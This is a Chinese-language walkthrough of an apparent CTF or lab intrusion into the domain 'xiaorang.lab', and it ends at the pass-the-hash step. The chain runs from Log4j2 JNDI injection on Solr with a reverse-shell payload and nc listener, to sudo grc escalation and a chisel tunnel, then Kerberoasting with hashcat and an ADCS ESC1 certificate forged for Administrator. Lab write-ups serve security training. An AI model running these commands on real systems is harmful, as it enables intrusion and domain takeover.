8983端口有个Solr服务

Solr 是一个开源的搜索平台，它是基于 Apache Lucene 搜索引擎库构建的。Solr 可以处理大量数据，并提供高效的全文检索、分面搜索、动态聚合和自然语言查询等功能。它支持多种格式的数据导入和导出，包括 XML、JSON、CSV、PDF、Word 和 Excel 等格式，还可以通过 RESTful API 进行访问和管理。Solr 被广泛用于各种 Web 应用程序、企业搜索、电子商务和推荐系统等场景。

可以看出版本为8.11.0，有个CVE-2019-0193，但似乎打不通，看wp都是打Log4j2

从web页面中可以看到一个有关log4j2的路径，所以应该是使用了log4j2组件，刚好前端时间复现过关于log4j2的洞

先找找漏洞点

1

/solr/admin/info?d=payload
/solr/admin/cores?action=payload
/solr/admin/cores?_=1682346330230&action=CREATE&config=solrconfig.xml&dataDir=data&instanceDir=new_core&name=payload&schema=schema.xml&wt=json
/solr/admin/collections?action=payload

显然可以利用的点有挺多的，试试第二个

1
/solr/admin/cores?action=${jndi:ldap://me50b5.dnslog.cn}

可以dns出来，应该问题不大，开干

vps执行（记得放行1389、3456端口）

1
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i vps-ip

vps监听

1
nc -lvvp 7777

payload

1
/solr/admin/cores?action=${jndi:ldap://vps-ip:1389/Basic/ReverseShell/vps-ip/7777}

成功反弹shell

sudo grc提权

没能找到flag，想必在root路径，先提权

1
sudo -l

有个grc的NOPASSWD

grc 是一个用于美化 Linux 命令输出的工具，它可以为命令行输出添加颜色和格式，以增强可读性

GTFOBins查看看，还真有，那应该就是考这个提权

1
sudo grc --pty /bin/sh

直接提到root

拿到第一个flag

内网信息搜集、代理

1
ifconfig

wget传fscan、chisel（这次换个新工具试试）

1
2
wget http://ip/fscan_amd64
wget http://ip/chisel

给权限然后执行

1
2
./fscan_amd64 -h 172.22.9.0/24 >> 1.txt

chisel的使用类似frp，vps执行

1
./chisel server -p 7000 --reverse

受害机执行

1
./chisel client vps-ip:7000 R:0.0.0.0:6000:socks

SMB

先看看172.22.9.47 fileserver的smb服务，毕竟考点提示了smb

1
proxychains4 python3 smbclient.py 172.22.9.47

或者

1
proxychains4 smbclient -L 172.22.9.47

可以连上，看看能不能用fileshare服务

1
use fileshare

发现第二个flag在secret目录

看flag的提示，应该是让我们找spn了，翻翻其他文件都是什么

密码喷洒

把这个数据库文件下载下来看看

1
get personnel.db

zhangjian:i9XDE02pLVf
liupeng:fiAzGwEMgTY

凭据是对的，但是连不上，6

之前的flag提示了找spn，可能是使用Kerberoasting攻击来获得服务账户的密码

Kerberoasting攻击是在TGS_REP的过程中用户将会收到由目标服务实例的NTLM hash加密生成的ST(service ticket)，加密算法为RC4-HMAC，如果获得这个ST票据，我们可以尝试穷举口令，模拟加密过程，进行破解。

使用ST获取凭据

使用impacket的 GetUserSPNs.py来获得注册在xiaorang.lab\liupeng用户下的SPN的服务票据（ST）

两个服务账户的hash，hashcat爆破一下

1
hashcat -m 13100 -a 0 1.txt rockyou.txt -o res.txt 

1
2
zhangxia:MyPass2@@6
chenchen:@Passw0rd@

这下可以远程桌面连上去了

因为是域账号所以用户名需要加上@xiaorang.lab

ADCS ESC1

但因为不上管理员权限，无法查看administrator目录下的flag

传Certify.exe扫描一下证书，毕竟之前fascan扫出来个poc-yaml-active-directory-certsrv-detect 

1
Certify.exe find /vulnerable

或者

1
certutil -v -template > cert_templates.txt

使用证书模板攻击有三个条件

  • Allow Enroll
  • 能够发起客户端身份验证
  • CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT=1 即允许自定义SAN

kali上也可以用

1
proxychains4 certipy find -u 'liupeng@xiaorang.lab'  -password 'fiAzGwEMgTY' -dc-ip 172.22.9.7 -vulnerable -stdout

msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
表示基于此证书模板申请新证书的用户可以为其他用户申请证书，即任何用户，包括域管理员用户

明显上面的Vulnerable Certificates Templates符合这些条件

为域管申请证书

Certify.exe request /ca:CA01.xiaorang.lab\xiaorang-CA01-CA /template:"XR Manager" /altname:XIAORANG.LAB\Administrator

看wp可以，我这里却不行，看了下是Remote Procedure Call (RPC) Locator服务没启动，而我也没有权限去启动该服务

换个方式，kali执行

玄学kali，一会报错，一会又行了

然后转换格式，请求TGT，DCSync或者PTT

1
proxychains4 certipy-ad auth -pfx administrator.pfx -dc-ip 172.22.9.7

接下来就是哈希传递了

PTH

先打DC
